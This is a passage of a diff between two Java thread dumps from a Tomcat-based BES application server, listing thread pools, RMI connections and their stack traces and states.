|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d99fb1f
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@42893fb9
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
at java.lang.Object.wait(Native Method)
|
at java.lang.Object.wait(Native Method)
|
||||||
at java.lang.Object.wait(Object.java:460)
|
at sun.misc.GC$Daemon.run(GC.java:117)
|
||||||
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
|
||||||
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1320e0b9
|
||||||
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
java.lang.Thread.State: WAITING
|
||||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
at java.lang.Object.wait(Native Method)
|
||||||
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
|
||||||
|
|
||||||
|
"RMI Reaper" #74 [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e06e655
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
||||||
|
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
"RMI TCP Accept-6600" #73 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.PlainSocketImpl.socketAccept(Native Method)
|
||||||
|
at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
|
||||||
|
at java.net.ServerSocket.implAccept(ServerSocket.java:560)
|
||||||
|
at java.net.ServerSocket.accept(ServerSocket.java:528)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-thread-pool-6" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
"RMI Scheduler(0)" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@552d3946
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RMI RenewClean-[172.17.0.3:6600]" #78 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3893e807
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
||||||
|
at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"NioBlockingSelector.BlockPoller-2" #16 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-6900-ClientPoller-0" #61 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-thread-pool-7" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -335,30 +210,21 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"com.bes.appserv-startStop-1" #53 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b8f5a12
|
"http-thread-pool-6" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI Scheduler(0)" #83 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@51d5d045
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
|
||||||
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"RMI TCP Connection(1)-192.168.215.4" #82 daemon [RUNNABLE]
|
"RMI TCP Connection(2)-172.17.0.3" #79 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.net.SocketInputStream.socketRead0(Native Method)
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
@@ -370,14 +236,229 @@ ThreadStacks:
|
|||||||
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/532524051.run(Unknown Source)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
|
||||||
at java.security.AccessController.doPrivileged(Native Method)
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-nio-0.0.0.0-8080-Acceptor-0" #71 daemon [RUNNABLE]
|
"http-nio-0.0.0.0-8080-ClientPoller-0" #64 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
||||||
|
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
||||||
|
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
||||||
|
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
||||||
|
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
||||||
|
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"admin-thread-pool-4" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"com.bes.appserv-startStop-1" #47 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55ef9d0b
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Signal Dispatcher" #4 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
|
||||||
|
"RMI TCP Connection(1)-172.17.0.3" #76 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at java.net.SocketInputStream.socketRead0(Native Method)
|
||||||
|
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:171)
|
||||||
|
at java.net.SocketInputStream.read(SocketInputStream.java:141)
|
||||||
|
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
|
||||||
|
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
|
||||||
|
at java.io.FilterInputStream.read(FilterInputStream.java:83)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$19/1987604558.run(Unknown Source)
|
||||||
|
at java.security.AccessController.doPrivileged(Native Method)
|
||||||
|
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-6900-AsyncTimeout" #63 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Timer-0" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@69b469f9
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:552)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"http-thread-pool-5" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"AsyncLoggerDisruptor-1" #12 daemon [TIMED_WAITING] on java.lang.Object@4e406718
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:460)
|
||||||
|
at com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:150)
|
||||||
|
at com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:43)
|
||||||
|
at com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:56)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:159)
|
||||||
|
at com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:125)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-thread-pool-4" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #48 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[server].StandardContext[/app]]" #81 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@75cd8a86
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
||||||
|
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
||||||
|
|
||||||
|
"admin-thread-pool-3" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5c6356f1
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
|
||||||
|
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||||
|
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
||||||
|
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||||
|
at java.lang.reflect.Method.invoke(Method.java:498)
|
||||||
|
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
|
||||||
|
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
|
||||||
|
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[/sysapp]]" #71 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"admin-thread-pool-2" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"admin-thread-pool-1" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ca2f284
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
||||||
|
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
||||||
|
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
